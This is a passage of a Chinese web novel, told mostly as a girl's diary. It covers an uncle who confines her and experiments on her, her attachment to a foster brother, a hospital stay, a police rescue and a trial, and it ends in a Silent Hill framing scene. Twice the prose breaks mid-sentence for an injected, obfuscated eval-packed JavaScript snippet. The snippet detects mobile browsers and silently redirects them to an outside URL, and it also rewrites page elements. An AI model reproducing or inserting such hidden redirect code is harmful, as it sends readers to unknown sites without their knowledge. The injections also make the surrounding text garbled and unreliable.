这就要走了……走了也不和我打招呼,也不告诉我下一次见面是什么时候。我生气极了,用力拉上窗户,弄出很大的响声。 …… 7月5日晴 半年,整整半年我都没有看到哥哥的影子,甚至连信件……差点忘了,他从来不给我寄信。哥哥不会已经忘了我吧,这半年来我从一开始焦急地等待变成木已成舟的坦然。反正总有一天会抛弃我,早晚都一样。 就在我沉浸于麻木的伤心之中时,叔叔来找我了,不是抽脊髓而是让我帮他做实验。他说马上就要交货了,需要最后验证一下效果,如果顺利,能挣好大一笔。 叔叔很有钱,一部分是他自己家族代代积蓄和我父母死前赠予的抚养费,其余就是他卖各种各样的研究品赚来的钱。他对我也并不吝啬,零花钱大把大把的给,可我天天被困在这个偌大的别墅里哪都去不了,要钱又有什么用呢?坟墓里的金银财宝再耀眼也只是陪葬品,到最后还不是便宜了强盗。 废弃医院确实挺可怕的,但呆久了也就习惯了。这个世界上没有神明,虽然叔叔动不动就主啊耶稣啊,但我知道他肯定不信鬼神,只是做做样子给别人看而已。如果这个世界上真的有天堂地狱天使魔鬼,那我们早就该下地狱了。 除了地狱,我猜世界上肯定有个地方专门收纳我们这种家伙,像是深海里的鮟鱇鱼一样,晃晃灯笼把我们引过去一口吃掉。地狱是罪孽之人该去的地方,世人有多少是无罪的,又有多少是圣母一般慈悲,天神一般纯洁无暇, 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叔叔自己上手把老鼠搬进铁笼子里,但不急着关门反而点了支烟开始抽起来。他说:按照以往实验记录得过很久才能苏醒,趁这会儿你去找点能加固的东西来。 我看了一眼结实无比的铁笼子,哪怕我用上全力都无法动摇一下,还需要加固吗?叔叔有些不耐烦,催促我快点。我也不再多想,转身走出实验室,回别墅的地下仓库去找铁索链。 等回来的时候叔叔不在实验室,笼子里也是空的。这实验我是第一次接触,以往叔叔从不让我参与,当然我也乐的清闲就是了,所以面对这种情况我有些不知所措,只能抱着铁链到处跑,即找叔叔也找老鼠。 终于我在废弃医院的大厅里碰见了叔叔,他一见到我就焦急地走过来问看到那东西了吗?我摇头。 叔叔用力揉搓所剩无几的头发,像是做下了很大决定一样命令道:去实验室把里面的药剂全都带走,然后反锁医院大门,以后无论发生什么都不许进来。 我不理解,但还是选择了听从,毕竟叔叔的脸色真的很差,我从没见这样的他。 在我一圈又一圈地将铁链缠绕在大门上,并用钥匙反锁的时候,叔叔在旁边严肃嘱咐: 这件事你我都必须保密,一辈子埋藏进肚子里哪怕进入坟墓也不能吐出来,知道了吗,就算是你哥哥哥也不行,不能让他知道。你发誓。 他面色狰狞,额头青筋暴起,看起来像是如果我不答应就会当场杀人灭口。我赶紧点头连连说好好好。 叔叔满意了,浑身都展现出一股轻松。他开始絮絮叨叨说一些我听不懂的话,他说人生来就是自私的,胚胎自诞生起就会不顾一切地吸收营养,哪怕母体死亡也不会停止,他还说他人的死活和我们无关,只要地球不毁灭,只有我们有钱花饿不死那都不是事…… 我全程缄默不言,可偏偏叔叔每说一句就非要听见我的认可,只要没反应就用那双布满血丝的眼睛死死盯着我,直到我不情不愿地点头后才心满意足地继续发表接下来的言论。 就这样他一直折磨我到半夜,直到他自己困到不行才肯放过我。 42.第 42 章 7月20日晴 我失眠了,不知道为什么,明明是我最爱的夏天,最爱的炎热,居然会被热得睡不着。我把窗户打开,胳膊肘抵在窗台,托着下巴看月亮。汗液把单薄的睡衣粘黏在皮肤上,夜风吹进来的时候冷飕飕的。我发现自己好像不是那么热爱夏天了,如果一直都这样炎热的话,我就要改为喜欢春天。 月光下,有一只小鹿摇摇晃晃儿走过去。别墅周围丛林很多,小动物并不少见,但这只鹿奇怪的很,脑袋左晃右晃,脖子都快扭断了。 就像僵尸。 这个念头刚起,我就被自己吓了一跳,反应过来心有余悸地拍了拍胸口自嘲。 掌心里浸满了汗水,我看的专心致志,就连有人靠近都没发现…… 是的,来人是哥哥,可我满脑子都是那只诡异的僵尸鹿,以至于哥哥走到我的身后,几乎贴近我的后背时候才反应过来。 我欣喜若狂,但又有一点生气,因此惊喜过后便是极力掩饰。谁叫他走的时候不和我打招呼,我偏开脑袋刻意不与他对视。 这是我第一次无视哥哥,心里不由得紧张。但哥哥既没有问我为什么不理他,也没有走开,而是两手握住我的肩头从上到下观察了一遍,视线扫过全身,然后他摸了摸我的后脑,把我抱进怀里。 他喃喃道:还好还好。 哥哥的反应不太对劲,我艰难的抬起头面朝他的下巴,问怎么了。他说最近总有些从隔壁城市传来的风言风语,他担心,所以回来看看。 隔壁的城市是浣熊市,叔叔经常跑去出差。不过叔叔去浣熊市也只有我一人知道,他不许我说出去,也不许我乱猜测。我才不乱猜,当然我也不关心他干嘛去了,反正他和哥哥不一样,哥哥不在家我孤独寂寞冷,伤心欲绝,叔叔不在家我差点敲锣打鼓又唱又跳。 哥哥又问我知不知道叔叔最近去了哪里。前天叔叔刚去了浣熊市,但我记得他要求我不许说漏嘴时候狰狞的表情,和那天实验对象消失的时候简直一模一样。 我的脑袋抵在哥哥胸口,嘴巴动了动说不知道。 哥哥嗯了一声,尾音上挑像是疑问,他重复一遍我的话:不知道? 叔叔没必要告诉我他的行踪,我说,但如果真有什么事,叔叔也许是最危险的一个。 哥哥沉默了,但我知道他听懂了。片刻后我感觉他再次摸了摸我的后脑,我以为他会说什么,比如嘱咐之类的,但他只是说传言而已没有任何依据,自己会尽量常回来,最近注意安全照顾好自己。我有预感他要走了,连忙问为什么不多留一会。哥哥笑着说明天一早还有课,要是留宿就赶不上了。 我没有理由再恳求他留下。哥哥弯腰亲了亲我,这次他没有亲我的嘴角,而是吻了脸颊,有酒窝的位置。 哥哥走后我趴在窗台目送他的背影,夜晚暗的出奇,随着哥哥越走越远,我连他的影子都扑捉不到。正准备离开窗台回床上继续睡觉,突然余光瞥见在正下方,有一只鹿正直勾勾的看着我。 是那头僵尸鹿,脖子比刚才弯曲的弧度更大,几乎折断。我毛骨悚然。 7月21日晴 已经是第二天了,但现在仍然是凌晨,天没有亮。我一直都没能睡着,满心都被哥哥带来的欢喜和刚才偶然看见僵尸鹿的惊悚填满。等这些情绪稳定下去,回过味来时,肚子开始饿了,咕噜噜叫个不停,嘴巴里疯狂分泌口水,见着沙发脚都想啃一口。 于是我打开冰箱想找些食物。我知道这事无用之举,因为冰箱里根本没有能吃的东西,只是做一个心理安慰而已。但意外的是,我看到了一个蛋糕站在冰箱中央,被保鲜膜包裹着,最上方的草莓干瘪丑陋。 想起来了,这是去年哥哥给我买的草莓蛋糕,我特意留一块给哥哥,但他没吃,就这样忘记在冰箱里。没想到不仅没有被扔掉反而摆了整整一年,不过多说,肯定坏的不能再坏。我想把它扔掉,但不知道为什么走到垃圾桶旁边又改变想法。 我把这块蛋糕吃掉了。味道好奇怪,一股变质的味道,里面还有绿色毛毛。原本鲜甜的奶油和松软的蛋糕胚口感都变得怪异,黏黏糊糊,就像手术室里没来得及处理的垃圾,一口下去流出恶心的脓水。 7月22日晴 原谅今天的字迹丑陋无比,刚苏醒的我手软弱无力,能握住笔已经是尽了最大的全力。 我正躺在医院的病床上,右手挂着水,左手食指夹着血氧仪,病因是食物中毒,刚刚才洗了胃,麻药劲还没有过,脑袋晕乎乎仿佛天旋地转。毋庸置疑,罪魁祸首就是那块蛋糕。 记得吃完那块蛋糕以后,我浑身上下都不舒服,喉咙像是被污泥糊住,胃里翻江倒海。然后在下午,站在手术台前哇的一声口中喷射出鲜血,溅脏了地板和墙面,对了,还有叔叔的衣服,他倒霉至极刚巧站在旁边。我猜当时的他一定傻了眼。 到目前为止我的心情都无比平静,直到病房门推开的那一刻才稍稍动容。哥哥走了进来,头发和校服衬衫都是凌乱的,他看我后快步走过来:你醒了?感觉怎么样? ……挺好的,我说。 其实胃里面还有些难受,但我可以忍耐。 哥哥拉了把凳子过来,在床头边坐下。他想摸我的头,但估计是我面色憔悴担心把我摸死了,于是转而打算握住我的手,可惜我一只扎了针另一只有夹子,他无从下手,重新搭回膝盖。 他问叔叔给我吃了什么,竟然吐血了。 我解释叔叔没给我吃什么,是我自己的原因。实际上这几天叔叔连食物都忘了给我准备,全靠我自己到处搜刮下厨饱腹。我说自己吃了冰箱里的草莓蛋糕。 哥哥很纳闷,因为他记得今年没有给我买过草莓蛋糕。他很快反应过来:去年的? 我点头。他的表情变得很奇怪,想要责怪又不忍,满眼的自责。 他愧疚道:抱歉,最近学业繁忙,都没有时间陪你,但没关系,很快,再等等就好。哥哥絮絮叨叨的说自己跳级了,今年正式成为高三的学生,只需要一年就能参加高考然后永远的离开这个鬼地方。 他还说马上就是他十八岁的生日,很多事情再也不需要经过叔叔了,他会靠上理想的大学,去走自己的路。 哥哥的眼睛很亮,那种色彩是平日里没有,只在亲吻我的嘴角时才流露而出的,此时却浓浓含在眼里,下一秒就要撑破晶体的束缚迸发。 我不知道自己什么表情,只是耐心的听,心脏如一潭死水,喉咙却又堵又麻。 这一天终于来了。属于我的小家伙还没有出生,也许接下来我得度过一段难熬的孤独岁月。 7月23日晴 在医院,没有叔叔的唠叨,也不用抽骨髓做实验……真是难得的清静。 双人病房里的另一位是个和我差不多大的男孩,身上插满管子还上蹿下跳。他母亲是一个温柔瘦弱的年轻妇人,根本管不住这位混世魔王,只能跟在后面求他安分一点,别再给医生添麻烦了。 今天写日记时,发现边上多了一个毛茸茸的脑袋。我把日记本合上抱怀里,警惕地问他干什么,他不回答反而问我在写啥。我说在写日记,他问能不能给他看看,我拒绝道不行。他满脸不解:为什么? 我只道了两个字:隐私。 他倒是不再要求看我的日记本,却开始骚扰我,不停地和我搭话。我不理,他就自己说,罗里吧嗦,几个小时都不停,我都替他嘴干。 仅仅一天时间,他就把自己从小时候调皮捣蛋上树掏鸟窝,到现如今为什么会住院全说了个遍,恨不得自报家门,什么都往外吐。 到最后无话可讲了,他开始没话找话,问我今年多大。得知我的年岁,他像是占到什么大便宜,像球胸鸽一样挺起胸膛,说自己比我大一岁,所以我必须要喊他哥哥。 我说我有哥哥,所以不能喊他哥哥,然后就转过身去不理他了。 7月25日晴 医院病房本该是清静的,除了仪器的滴滴声以外,就只有病人的呼吸声,但是……都怪这个讨厌鬼,日记都得躲被子里偷偷摸摸写!我期盼他快点恢复健康,快点出院。真的,我从没有这样虔诚过。 天完全暗下来,临近夜晚的时候,哥哥来了。他风尘仆仆,呼吸急促,连头发都有些凌乱。哥哥来了以后在我床边坐下,问我怎么样了。凑近的时候我闻到他身上的味道,和医院里满是消毒液的气味不同,有点好闻,像薰衣草。医院周围确实种了很多熏衣草,从窗户往楼下瞭望,紫红色的一片。 我告诉哥哥,医生说还要再观察一周。哥哥点了点头,又问吃饭了没有。我说:吃了,今天护士姐姐晚餐送的比较早。 哥哥淡笑,突然伸手帮我捋了捋头发,我这才意识到因为手背挂着水,一直没有整理过头发,现在估计乱的像鸟窝。哥哥帮我把头发打结的地方梳畅,然后扎了一个低偏的马尾,靠坐和睡觉的时候都不碍事。 帮我梳完头发,哥哥陪我聊了一会天,然后就说自己要走了,明天还得上课。我看了眼时间,等哥哥回去估计也要深夜了。在他临走前我忍不住问明天还来吗?他笑了笑说肯定。 我犹豫了一下,说:算了吧,学业比较重要。 哥哥却让我放心。 等哥哥走了以后,我就开始写日记。床头只有一盏巴掌大的小灯,光暖暖的,但如果要靠它长时间书写阅读根本不够。 突然帘子被拉开,隔壁的男孩探出脑袋,悄声说了什么。声音太小我听不见,告诉他可以大声一点。他小心翼翼地下床,想跨过中间的分界线到我这来,但身上有管子走不远:妈妈在旁边陪护,刚刚才睡着,她不让我打扰你。 我说那你应该听妈妈的话。男孩皱眉:她管我管地太严了,一丁点自由也没有。然后他拿出一个盒子:想不想玩这个? 我看了一眼问:这是什么? 他说:国际象棋。 哥哥教我玩过,很无聊,因为我无论如何都赢不了,作为输家还被迫答应哥哥的各种要求……虽然他不会对我过分。从未尝过胜利的滋味,导致我对这款游戏抵触很高。我拒绝了,说自己不想玩。 男孩看上去很伤心,伤心欲绝。我本来不想理,但不知道为什么,本来是再次拒绝的话,到口边变成了答应。 …… 我收回之前话,国际象棋真好玩。哈哈!我们一共玩了三回,我赢了三回。最后他表示时间晚了主动收拾棋子和棋盘,我问怎么不玩了?他闷闷不乐地说不想玩了,然后抱着盒子回病床上去了。 7月26日晴 我主动拉开窗帘,问男孩玩不玩国际象棋。他正在吃早饭,嘴巴鼓鼓囊囊。阿姨坐在一旁,把保温壶里的汤倒进一次性塑料小碗里。他口齿不清地说不要。我还没来得及开口,阿姨问为什么不要,你不是一直想和人家妹妹玩吗,人好不容易理你,你又不愿意。 他憋着一口气,说好吧,但你得让让我。 其实我对于“让让我”这三个字不太理解,对于我来说“让一让”的意思是让对方先出手,哥哥就是这么做的。直到男孩满床打滚质问我为什么如此霸道连让他赢一局都不肯,我这才恍然大悟。 原来“让让”的意思是,放水。 掌握了这一点,接下来我们变得非常愉快,每隔两局我都让他赢一次。这样一来,他收获了胜利的快乐,我的游戏体验也没有丝毫减退,反更有运筹帷幄的感觉。 我们不知疲倦,忘却了时间,直到阿姨端来两个蓝莓蛋糕,我们才暂时“休战”。她和男孩说自己有事需要离开,晚上订了医院的饭,然后就离开了。 男孩一边郁闷地往嘴里塞蛋糕,一边抱怨:又走了…… 对于蓝莓蛋糕,或者说除了草莓蛋糕以外的所有,我并没有那么喜欢,主要是因为哥哥。每一次他为我买蛋糕的时候,都会问我想要哪一种,每一次买到蛋糕,我都会留一块给他,但他说自己不喜欢从来不吃,只有草莓蛋糕是个例外。 把蛋糕送入口中以后,我发现没有想象中那么糟糕,反而酸酸甜甜,比草莓的好吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050452|161567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多了。 男孩突然问我愿不愿意当他妹妹。他这句话莫名其妙抓不着来龙去脉,我无法理解:为什么? 他沉默一会才说,如果我是他妹妹,那么就有人陪自己玩了。我问他很孤单吗?他说有一点,因为爸爸妈妈只有一个他孩子。 他还问我有个哥哥是不是一点也不孤单? 这回换我沉默了。如果哥哥问我孤不孤单,我会说有哥哥不孤单,如果叔叔问我孤不孤单,我会因为害怕而说不孤单,但现在问我的是一个素不相识,只认识了不到两天的陌生人。 孤单。 这两个字,我从来没有说的这样诚恳。 仔细想一想,如果我真的是他妹妹,亲生妹妹的话,那我会有活着的父母,而不是埋在土里的。每天都和哥哥见面,还能跟着哥哥去上学,放学回家以后,两人坐在桌边玩国际象棋,一起吃饭一起睡觉…… 不知不觉,我带入了哥哥,眼神放空,笑着喃喃道: 是啊,如果你是我哥哥就好了。 他突然不说话了,我抬头却见他正看着门的方向,我转过脑袋,发现哥哥不知道什么时候来了。再一看时间,晚上九点半,竟然已经这个时候了,玩的忘乎所以,没有注意时间。 他向哥哥问好,哥哥对他笑了笑,然后提着东西走向我。他问我怎么不坐在自己床位。男孩抢答:她在和我玩国际象棋。 哥哥笑着问:那现在还玩吗? 男孩看我,我摇了摇头说不玩了,端着蛋糕回到自己的病床。 哥哥将手里的东西放上桌柜,透过一层塑料薄膜,里面是草莓蛋糕,也许是天气炎热,奶油有些融化,蛋糕体塌陷,点缀的草莓陷下去一小半。哥哥打开蛋糕盒,切下一小块三角,盛在盘子里递给我。 看着纸餐盘里散发着草莓香气的奶油蛋糕,脑海中突然浮现出前些天导致我吐血的坏蛋糕,以及夹杂其中的绿毛和恶心口感,胃里一阵翻江倒海,我忍住呕吐的欲望偏开脑袋。 不想吃,还是不喜欢?哥哥保持端盘子的姿势问道。 我正强忍吐意,没有回话,但感觉到哥哥的视线落在我手中还没吃完的蓝莓蛋糕。他问这是哪来的? 不等回复,他说出猜想:是那个男孩? 我点头:他妈妈买的。 那下一次我也买蓝莓口味吧。哥哥说着收回端纸盘的手,从蛋糕盒里拿出塑料叉,慢悠悠地吃了起来。软塌塌的奶油被挖起一大块送进嘴里,不等咀嚼就咽了下去。我看的出神:哥哥喜欢吃草莓蛋糕吗? 他说:还行。 我凑过去咬了一口,草莓的味道很浓,软烂的蛋糕胚里还有草莓颗粒,但奶油融化的厉害,吃进嘴里像水一样。那个腐烂的蛋糕,除了酸臭以外,仍带有草莓味,只是不再香甜,反而像是强行加进去的草莓药水。我想吐,但我不能吐,我忍着呕吐的欲望说:还是喜欢这个多一点。 不喜欢蓝莓的了?哥哥问我。 我含着蛋糕摇头。 哥哥视线落在我身上,说不清道不明,他抽出两张纸叠在一起放在我的嘴边,让我吐出来。我再次摇头,他说:想吐就吐。 我忍不住,呕了一声。哥哥将纸包裹好,干净的边角在我嘴边擦了两下,然后扔进垃圾桶。他说喜欢这种东西不稳定,今天喜欢这个明天喜欢那个,都很正常。 哥哥告诉我今天他会陪护,已经和护士说过了。我纳闷且担忧,问他明天来得及赶去学校吗。他笑着点了一下我的鼻子,说明天是周末,怎么过糊涂了。我恍然大悟,周末是放假日,可惜我从来都对一周七天都没有什么概念,说来也是,我一直被困在别墅里,一周七天都在学习工作,工作日和节假日对于我来说都一个样。 对于哥哥要陪护这件事我开心至极,如果不是身体抱恙,我能当场跳起来,在病床上蹦来蹦去,从这跳到那再从那跳到这,最后再蹦到哥哥怀里,到达最终点。 才发现今天的日记好长,足足有两页纸,打破了以往的记录。每当有和哥哥相关的事情,我都会详细的记录,握着笔的右手有自己的想法一样,把点点滴滴全部书写,连一个细节都不放过。今天也是,我写的很开心,算来算去,今天应该是这段时间以来最开心…… 人不能太兴奋,刚才我的心咯噔了一下,只因为想到和哥哥注定分离,而且这一天即将到来。果然幸福是虚幻短暂的梦,而痛苦才能长存。有时候我甚至想要在哥哥身上刻下一道无法消失的伤疤,或者打断他的距离心脏最近的一根骨头,这根骨头永不能恢复,断骨的痛楚将伴随他一生。可惜我不能这么做,因为我的心脏也会痛苦。 医院的陪护床太小了,哥哥的小腿全都悬在外面。他今晚一定很难熬,陪护床又小又窄,身体每挪动一下都会发出剧烈的吱呀声,为了不打扰我,他肯定会强迫自己整晚一动不动。 病床上还有空余,我问哥哥要不要上来睡,他摇头说不用。我不死心又问了一遍,他还是摇头,我还是不死心,终于到第三遍,不知他是终于妥协还是拗不过我,才应声说好。哥哥侧着身子躺在我身边,因为这样才不会把我挤掉下去。 哥哥问我在写什么,我下意识合上本子,但又翻开,说:在写日记,你要看看吗?哥哥笑着说不用,日记本装着女孩子的秘密。然后他帮我掖了掖被子,告诉我时间不早快点睡吧。说完他关掉床头小灯,率先闭上了眼睛。 病床靠近窗户的一侧,月光洒进来正好落在哥哥的脸上。他很快就陷入了睡眠中,呼吸沉稳,扑打在我的耳侧。我则借着微弱的月光继续书写日记。曾经,我不止一次细细观摩过哥哥,现在也一样,他深邃的眼窝里,长长的睫毛盖在青黑的眼圈上,随着呼吸微微颤动。 我突然感觉胸口有一种奇异的感觉,驱使我不可自拔地亲吻他的眼睛,像他无数次对我做的那样,含住那羽扇般的睫毛。 其实我迫切期望他拿走日记本像个大家长一样翻开细看,因为这样他就能窥探到我最隐秘的内心,以及饱受折磨的最终原因。 43.第 43 章 7月27日晴 男孩要转到重症室了,他今天一早低垂着眉眼告诉我这个消息。昨天还好好的,今天怎么会突然病情加重?我不懂得该怎么安慰人,只能张开双臂抱抱他。搬离病房前,男孩小心翼翼地问我:你和你的哥哥是亲兄妹吗? 听到这个问题,我首先是一愣,然后才意识到他可能误会了什么,内心对这个误会无比满足,几乎到了喜悦的地步。总有人会误会我和哥哥的关系,明明我们长的一点也不像。我否认,说自己只是寄住在哥哥的家里。如果非要解释我们之间的关系,应该用青梅竹马来概括吧,除此之外我真的想不出其他的形容词了。 男孩松了一口气,露出我无法理解的安心表情,然后向我招了招手,被阿姨推着和护士们离开了。 我转身就和哥哥炫耀起来,问他听到了吗,又有人觉得我们是亲兄妹。哥哥摸了摸我的头,问很希望我们是?我说当然。哥哥笑着说如果我们真的是,那我就不能吻你了。我不解,为什么,为什么亲兄妹不能相互亲吻? 可以亲吻脸,哥哥指腹摩擦着我的唇瓣,但这里不…… 他说了一半又不说了,喃喃自语着算了,附身在我的嘴角啄了一下。 男孩走了以后病房里只剩下我一个病人,冷清了不少,好在很快有人来看望我,是哥哥的同学,美丽的爱神姐姐。 爱神姐姐笑着捧起我的脸,问身体怎么样。我害羞地偏了偏脸,刚想说话哥哥就代替我回答了。她笑了两声,说没事就好,抱着我的脸左看看右看看,眉毛微皱嘴巴撅了撅:怎么死气沉沉的? 我有些纳闷,她打了个响指,说走吧我带你出去转转。 医院有规定,住院的病人不能乱跑,我为难极了,下意识看向哥哥,他平静地说我在观察期,得乖乖呆着。爱神姐姐嘲笑他大惊小怪,只是带我去楼下走走,又不离开医院。听她这么说,哥哥紧闭双唇,而我松了口气。 接着,爱神姐姐让我换身衣服,并把哥哥赶出病房。我觉得穿病号服就行,但她觉得哪怕只是下楼走一圈,也得打扮打扮,否则像我这样整日没点精神气,对身体恢复没好处。我拗不过,再者听起来似乎有点道理,我便按照她说的去做了。 我解开纽扣,脱下病号服,拿起我的常服准备穿,腰间却突然一凉,回头看去发现竟然是爱神姐姐的手,她在仔细地抚摸我后腰那一片皮肤。我的鸡皮疙瘩瞬间竖起来了,但她下一秒开口的话又令我紧张万分,她问我腰上的针眼怎么回事。我想了一万个理由,支支吾吾地说以前生病做过几次穿刺手术。她说没听我哥哥提过,我笑着打马虎眼,也许是哥哥单纯忘了提。 爱神姐姐若有所思,像是信了……也许信了,但我着实松了一口气。希望爱神姐姐不要把这件事告诉哥哥,背着他答应叔叔以身做实验这种事,不想让他知道。 就像她说的那样,我确实只在楼下转了一圈,但心情变得大好,也许因为一直陪我聊天的爱神姐姐,也许是从远处飘来的薰衣草花香,也许是头顶令人几乎睁不开眼的烈日,又或许是寸步不离,始终牵着我手的哥哥。 7月28日晴 病房里空荡,只有我和哥哥。今天是我和哥哥的独处日,只有我们两个人,本来是令人开心至极的一天,但哥哥偏偏要拉着我玩国际象棋。 我不想和哥哥玩国际象棋!他为什么就不懂呢!干什么都行,陪我玩其他的,陪我聊天,或者什么都不干光抱着我睡觉也行,为什么偏偏选国际象棋!我从头输到尾,到最后把脑袋埋进枕头里不想理他。哥哥问我为什么不愿意玩了,昨天不是和那个男孩玩的很开心吗。我随口道想和他玩不想和你玩。 哥哥突然安静了,我微微抬头,余光里看见他一言不发的把棋盘和黑白棋都收起来。我说不玩了吗。他嗯了一声,然后问我有没有想吃的或者想玩的,下去遛弯也行,他都陪我。 想要哥哥陪我做什么……说真的,在思考的一瞬间,大脑就像过载的计算机,噼里啪啦炸出黑白花屏。我恍恍惚惚了好一阵,才从乱成一团毛线的大脑里扒拉出个想法。困了,陪我午睡吧,我说。 然后,我窝在哥哥暖和的怀里,肩膀靠在他的肩头,开始睡觉,他也睡了,比我着的还快。晚上哥哥就要走,下周我估计已经出院,失去了身体抱恙这个理由,哥哥不会再每晚赶回来陪我。像这样的时间,会越来越少,越来越短,直至不见。 哦,对了,还有一件事忘了写,下午的时候护士把睡梦中的我拖起来去做全身检查。迷迷糊糊中被折腾来折腾去,完事以后又被扔了回来。真奇怪,居然还需要全身检查,明明记得医生没开过这项检查单。 7月29日晴 哥哥走了,孤单至极。 我不知道该怎么形容自己的心情,应该是不可思议,又或者……难以置信,我…… 今天有警察来病房,说我被解救了,有人指控叔叔非法囚禁,还强行对我进行非法人体实验。听到这一切,我的脑子都是懵的,四周围都是警察,我这辈子没见这么多警察。 还有,我想知道哥哥呢? 8月4日晴 日记本被拿走做证据了,到现在才还给我。这段时间我一直呆在一个类似于收容所的地方,因为我无处可去。这里环境还算不错,食物味道也行,但处处透露着陌生的气味,我的身上也渐渐全被沾满,哥哥留下的丝毫不剩。 …… 8月10日 有人来收容所找我,十分眼熟,我认出他就是之前拜访叔叔的金发墨镜男,还是记忆中的装扮,墨镜背头加西装,以及手提箱。他问我还记不记得他,我点头,他满意的笑了笑,开门见山地说关于叔叔的指控马上就要开庭,如果我能够出面作证,叔叔的刑期将会更上一层。 这也是你期望的结局,对吧?他笑着问。我没有回话,他也不生气,从手提箱里取出一份领养证明,上面写着我的名字,领养人那一栏是空的。他告诉我,叔叔一旦入狱,他便会为我找到合适的领养对象,对方是他认识的人,虽然工作繁忙但人不错,也很有责任心。他问我怎么想。 我说不需要被领养,还有半个月哥哥就成年,我可以跟着他。 他反问:我知道你口中的哥哥,但他现在还只是一个高三学生,你觉得他负担的起你的开支和抚养义务吗,况且自己的父亲造成了如此巨大的恶劣影响,不被开除已经是万幸,又怎么会不和你划清界限,他是罪犯的孩子,无论是法院还是公安机关都禁止他和你近距离接触。 我哑口无言。金发墨镜男满意地笑了笑,说:我和你叔叔私下里谈过,你是自愿接受实验,但只要你咬死被逼迫就没关系,以及那个小怪物在你住院的第二天就正式诞生于世,可惜现在不见了踪影,所有人都怀疑被你哥哥带走了,可惜没有证据。 那种东西通过气味认主,一般只会认赐予自己基因的“父母”,但也有失误的情况,比如错认沾染有强烈“父母”气味的……他的笑容怪异,令我特别不舒服。 他扯开话题,说自己从叔叔的口中得知我一直以来的顾虑,除了对那位哥哥的强烈依赖以外,最大的问题就是归属感。他说到点子上了,我身体瞬间紧绷。 如果被领养,那就有了属于自己的家,有了属于自己的去处,不再寄人篱下看人眼色过活,还能去学校上学。说着他拿起空的领养证明再次扔到我面前:机不可失时不再来,你觉得呢? 不得不说,我确实被说服了,他的条件真的很动人。属于我自己的地方,属于自己家……没有哥哥,但是……我将领养证明拿了起来,紧紧攥在手里。 我就当你同意了,他笑着站了起来。我问他明明是叔叔的朋友,为什么会害他。男人笑道:可不是害,顶多算落进下石,报警的另有其人,他手里确实有我想要的东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054491|161567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,明明只将想法创造出一个小苗头,开出的条件却一个比一个离谱,这能怪谁? 脑海里浮现出那管印着字母,盛有奇怪东西的试管。但我不敢确定,也不敢说自己曾经参与过试验,还和叔叔造成过重大失误。 8月11日晴 我的脑子很乱。 昨天,金发墨镜男告诉我领养关系很快会成立,但一切得看那位领养人,因为她很忙,在此之前我会呆在他专门挑选的孤儿院里。 我很快就有家了,但是内心总是隐隐不安。我好想见哥哥。 …… 9月1日晴 开庭了。我看到叔叔戴着手铐坐在被告席,满脸的憔悴,胡子邋遢。嘴巴在说,但脑子一片空白,等反应过来时发言已经结束,我被法警带离了现场。 全程都没有看到过哥哥,他去哪了? . 之后就是一些孤儿院的日常,非常简陋,每一天只有几个字的叙述,有时候甚至只有一个标点符号做敷衍,再然后,就没有了,泛黄的条纹线纸上空白一片。 对于日记的主人公来说应该算是个美满但略有欠缺的结局,不过总体来说,还不错。 不知为什么,我在阅读的时候总觉得大脑在突突直跳,无论是太阳穴还是额头后脑,好像有什么东西要破土而出一样。我闭上眼睛深吸一口气,再次睁开时,视线好巧不巧落在正对面的克拉斯身上。 他的衬衣和裤子都干了,但风衣还差一点,长长的衣摆和别处对比出深色的潮意。 “休整的怎么样了?”他问我。 我将日记本放入帆布袋中,“还行,可以继续了。” 他听闻便手撑地站起来,整理褶皱的裤子。他说:“对了,我还不知道你现在的名字。” “丽莎·王。”我回答,转而又问他:“你呢?”之前从他们三人小队交谈时得知过他的名字,但我怀疑那是假名。 “克拉斯·菲利朗弗。” 看来不是假……我身影一顿,不可置信地看向他。菲利朗弗?他…… “你和躺在停尸间的菲利朗弗……?” 他说:“我们是亲父子。” 难怪当时看见菲利朗弗尸体时眼神那样阴恻恻,还质问我是不是凶手。自己哪怕进入寂静岭都要寻找的父亲变成了冰冷的尸体,内心一定很崩溃,如换作是我看见姐姐的尸体,状态一定不比他好。 不过他说自己除了父亲之外还要找另外一个人,而那人是我。 突然之间,一种荒诞的想法油然而生,难不成我是杀害他父亲的凶手? 如博格纳和尤克斯所说,亡命之徒才会收到寂静岭的蛊惑,看到自己内心世界的怪物。我明明没有做过任何违反犯罪的事情,却……原因只有一个—— 我在菲利朗弗胁迫下为老鼠做实验的时候,沾染了罪孽。 联想起日记本里,那个所谓叔叔对“我”的所作所为,以及最后他站上法庭……克拉斯是不是在怨恨我害他父亲进了监狱,明明是那个人畜不如的家伙先虐待我的。但毕竟是父子,亲人之间没有隔夜仇,我和他关系再好,也比不过血缘。 越想可能性越大,这个想法真实存在的可能性在内心逐渐提高。我浑身不住地发抖,双手紧握在一起,指甲掐入手背,不敢看身后的克拉斯哪怕一眼。难怪他要用那样残忍的方式折磨小狗,死活都要跟着我,原来我们之间有血海深仇。 我吞咽了一下唾沫,试探性开口:“我也提过自己忘了很多事,来寂静岭主要的目的就是寻找记忆。你说自己以前认识我,能不能讲一讲关于我的过去?” 身后的脚步停下了,我心中咯噔一声,警铃大作。连续深吸好几口气,做足了心理准备后,才悠悠转身。谁曾想,克拉斯的眼神里没有憎恨也没有愤怒,只有困惑: “你不是看过日记了吗,怎么还会问出这种问题?”